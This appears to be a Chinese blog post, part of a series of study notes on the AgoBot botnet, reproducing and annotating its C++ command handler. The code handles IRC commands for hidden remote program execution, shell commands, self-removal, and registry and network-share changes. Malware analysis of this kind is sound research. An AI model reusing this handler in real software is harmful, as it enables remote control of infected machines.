AgoBot 僵尸网络研究笔记(十三)

 

十三、2008年04月08日

 

作者:青青子衿

email:anzijin@sina.com

CInstaller 类分析完成,回到CBot类的分析

1 CBot :: HandleCommand ( CMessage  * pMsg )  函数  

//

//

//函数功能:处理发送来的由bot类负责处理的消息

//参数:   CMessage *pMsg     接收到的消息

//返回值:   处理成功返回true,否则返回false

//

/

bool   CBot :: HandleCommand ( CMessage  * pMsg )

{  

  //处理bot.remove指令,完成将bot程序从受控计算机上删除的任务,另外bot.removeallbut需要在后边添加要删除的bot的ID

  if (! pMsg -> sCmd . Compare ( "bot.remove" ) || ! pMsg -> sCmd . Compare ( "bot.removeallbut" )) 

  {

    CString   sId ( pMsg -> sChatString . Token (1,  " " true ));

    if (! pMsg -> sCmd . Compare ( "bot.removeallbut" ))

    {  

      //如果是bot.removeallbut指令,那么从bot的id列表中查找是否有该ID的bot

      if (! sId . Compare ( g_cMainCtrl . m_cBot . bot_id . sValue ))

      {  

        //如果没有找到返回false

        return   false ;

      }

    }

    //发送处理的返回消息到服务器,参数1标识是否处于静默状态,参数2标识发送模式

    g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "removing bot..." pMsg -> sReplyTo );

   

#ifdef  WIN32

    if ( g_cMainCtrl . m_cBot . as_enabled . bValue //★★这个变量的初始值是什么呢,为什么在这里直接用了呢。

    {

      //这里的作用是删除启动项,为完全删除bot最准备。

      g_cMainCtrl . m_cInstaller . RegStartDel ( g_cMainCtrl . m_cBot . as_valname . sValue );

    }

#endif

    g_cMainCtrl . m_cInstaller . Uninstall ();   //卸载bot程序:生成删除bot程序的批处理。

    g_cMainCtrl . m_cIRC . m_bRunning = false ;    //IRC类中的运行状态设置为false

    g_cMainCtrl . m_bRunning = false ;   //全局变量中的运行状态设置为false

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.execute" ))  //处理bot.execute指令, 命令格式.bot.execute 1 notepad.exe,其中1表示运行的次数,notepad.exe 要运行的文件

  {

    CString   sText ( pMsg -> sChatString . Token (2,  " " true ));  //取得以空格作为分隔符的第二段字符串 ,要运行的进程的文件名

   

    bool   bVisible = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ())==1;  //获取该进程运行的次数,将字符串形式表示的数字转化成整数

   

#ifdef  WIN32

    CString   sTextExp

    ExpandEnvironmentStrings ( sText . CStr (),  sTextExp . GetBuffer (8192), 8192);  // 通过环境变量对字符串进行扩充interpret environment variables

    sText . Assign ( sTextExp );

   

    PROCESS_INFORMATION   pinfo

    STARTUPINFO   sinfo ;

    memset (& sinfo , 0,  sizeof ( STARTUPINFO )); 

    sinfo . cb = sizeof ( sinfo );

    if ( bVisible //设置进程的运行模式

    {

      sinfo . wShowWindow = SW_SHOW ;

    }

    else

    {

      sinfo . wShowWindow = SW_HIDE ;

    }

    //创建指定的进程

    if (! CreateProcess ( NULL sText . Str (),  NULL NULL TRUE NORMAL_PRIORITY_CLASS  |  DETACHED_PROCESS NULL NULL , & sinfo , & pinfo )) 

    {

      //如果进程创建失败,向控制端发回消息,could't execute file.

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't execute file." pMsg -> sReplyTo . Str ()); 

      return   false

    }

#else

    //在linux模式下,创建新的进程

    CString   sCmdBuf

    sCmdBuf . Format ( "/bin/sh -c /"%s/"" sText . CStr ());

    if ( system ( sCmdBuf . CStr ())==-1) 

   

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't execute file." pMsg -> sReplyTo . Str ()); 

      return   false

    }

#endif

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.open" ))  //处理open指令

  {

    if (!( pMsg -> sChatString . GetLength () > ( pMsg -> sCmd . GetLength ()+ pMsg -> sChatString . Token (1,  " " ). GetLength ()+3))) 

    {

      //这里为什么要这样判断还不清楚。

      return   false ;

    }

   

    CString   sText

    sText . Assign (& pMsg -> sChatString [ pMsg -> sCmd . GetLength ()+2]); 

    bool   bRet = false ;

   

#ifdef  WIN32

    bRet =( int ) ShellExecute (0,  "open" sText . CStr (),  NULL NULL SW_SHOW )>=32;   //打开指定的文件

#else

    bRet = system ( sText . CStr ())>0;  //linux 平台中打开某个程序。

#endif

    if ( bRet //根据打开文件的成功与否,分别发送不同的返回信息

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "file opened." pMsg -> sReplyTo . Str ());

    }

    else  

    {

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice "couldn't open file." pMsg -> sReplyTo . Str ()); 

    }

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.dns" ))    //处理dns指令

  {

    CString   sReply

    hostent  * pHostent = NULL

    in_addr   iaddr ;

    if (! pMsg -> sChatString . Token (1,  " " ). Compare ( "" ))

   

      return   false ;

    }

    unsigned   long   addr = inet_addr ( pMsg -> sChatString . Token (1,  " " ). CStr ());   //提取dns指令后的,字符串,将其转换成IP地址

 

    if ( addr != INADDR_NONE )   //字符串为一个IP地址,下面做的工作是通过ip 获得他的域名

    {

      pHostent = gethostbyaddr (( char *)& addr sizeof ( struct   in_addr ),  AF_INET );

      if ( pHostent

      {

        sReply . Format ( "%s -> %s" pMsg -> sChatString . Token (1,  " " ). CStr (),  pHostent -> h_name );

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());  //把获得的结果发送给控制端

      }

    else   //如果转换失败,则可确定,后边的字符串是一个域名,则下面做的工作是根据域名,来获得IP地址

    {

      pHostent = gethostbyname ( pMsg -> sChatString . Token (1,  " " ). CStr ());  //获得IP地址

      if ( pHostent )

      {

        iaddr =*(( in_addr *)* pHostent -> h_addr_list );  

        sReply . Format ( "%s -> %s" pMsg -> sChatString . Token (1,  " " ). CStr (),  inet_ntoa ( iaddr ));

        return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ());  //将获得的IP地址返回给控制端

     

    }

   

    if (! pHostent //如果pHostent的值为null,说明无法获得该dns的信息

    {

      sReply . Format ( "couldn't resolve host /"%s/"!" pMsg -> sChatString . Token (1,  " " ). CStr ());

      return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReply . Str (),  pMsg -> sReplyTo . Str ()); 

   

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.about" ))  //处理about指令,返回AgoBot相关的信息

  {

    CString   sReplyBuf

    sReplyBuf . Format ( "%s by Ago (theago@gmx.net). homepage: http://none.yet/" g_cMainCtrl . m_sNameVerStr . CStr ());

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice sReplyBuf . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.id" ))    //返回botID的指令

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice bot_id . sValue . Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.nick" ))  //返回bot的昵称

  {

    g_cMainCtrl . m_sUserName . Format ( "%s" pMsg -> sChatString . Token (1,  " " true ). Mid (0, 32). CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" g_cMainCtrl . m_sUserName . CStr ());

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.quit" ) || ! pMsg -> sCmd . Compare ( "bot.die" ))  //处理bot推出指令

  {

    g_cMainCtrl . m_cIRC . m_bRunning = false //只在这里标识bot需要推出。

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.sysinfo" ))  //获得系统信息

  {

    //SysInfo() 是CBot的成员函数

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice SysInfo (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.longuptime" ))  //内部指令,返回在线时间长度的指令。

  {

    int   iDays = atoi ( pMsg -> sChatString . Token (1,  " " ). CStr ()); 

    if (! iDays

    {

      iDays =7;

    }

    CString   sUptime = LongUptime ( iDays );   //调用longUptime函数,具体该指令的功能需要进一步分析了该函数之后才能知道,

    if ( sUptime . Compare ( "" )) 

    {

      g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice , /

        sUptime . Str (),  pMsg -> sReplyTo . Str ()); 

    }

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.status" ))

  {

    return   g_cMainCtrl . m_cIRC . SendMsg ( pMsg -> bSilent pMsg -> bNotice Status (). Str (),  pMsg -> sReplyTo . Str ()); 

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.rndnick" ))  //修改昵称的指令,这里只是推测,该指令对整体不是很重要

  {

    CString   sRndNick = RndNick ( si_nickprefix . sValue . CStr ());

    g_cMainCtrl . m_cIRC . SendRawFormat ( "NICK %s/r/n" sRndNick . CStr ());  //由bot发送修改昵称的指令到IRC服务器

    g_cMainCtrl . m_sUserName . Format ( "%s" sRndNick . Mid (0, 32). CStr ()); //修改本地所保存的昵称

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.flushdns" ))   //刷新本地的dns记录

  {

#ifdef  WIN32

    Execute ( "ipconfig.exe" "/flushdns" );

#else

    Execute ( "nscd" "-i hosts" );

#endif  // WIN32

    return   true

  }

  else   if (! pMsg -> sCmd . Compare ( "bot.secure" ))  //帮助文件中没有的内部指令

  {    

#ifdef  WIN32

    // Set EnableDCOM to "N"

    HKEY   hkey = NULL

    DWORD   dwSize =128; 

    char   szDataBuf [128];

    sprintf ( szDataBuf "N" ); 

    dwSize = strlen ( szDataBuf );

    /*

    修改注册表 

    HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/OLE 的键值

    "EnableDCom" = "N"

    减低安全设置

    */

    LONG   lRet = RegOpenKeyEx ( HKEY_LOCAL_MACHINE "Software//Microsoft//OLE" , 0,  KEY_READ , & hkey );

    RegSetValueEx ( hkey "EnableDCOM" NULL REG_SZ , ( unsigned   char *) szDataBuf dwSize );

    RegCloseKey ( hkey );

    // Secure Shares

    system ( "net share c$ /delete /y" );

    system ( "net share d$ /delete /y" );

    system ( "net share ipc$ /delete /y" );

    system ( "net share admin$ /delete /y" );

    //上面操作的中心目的在于设置网络共享

#endif

    return   true

  }

  return   false

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值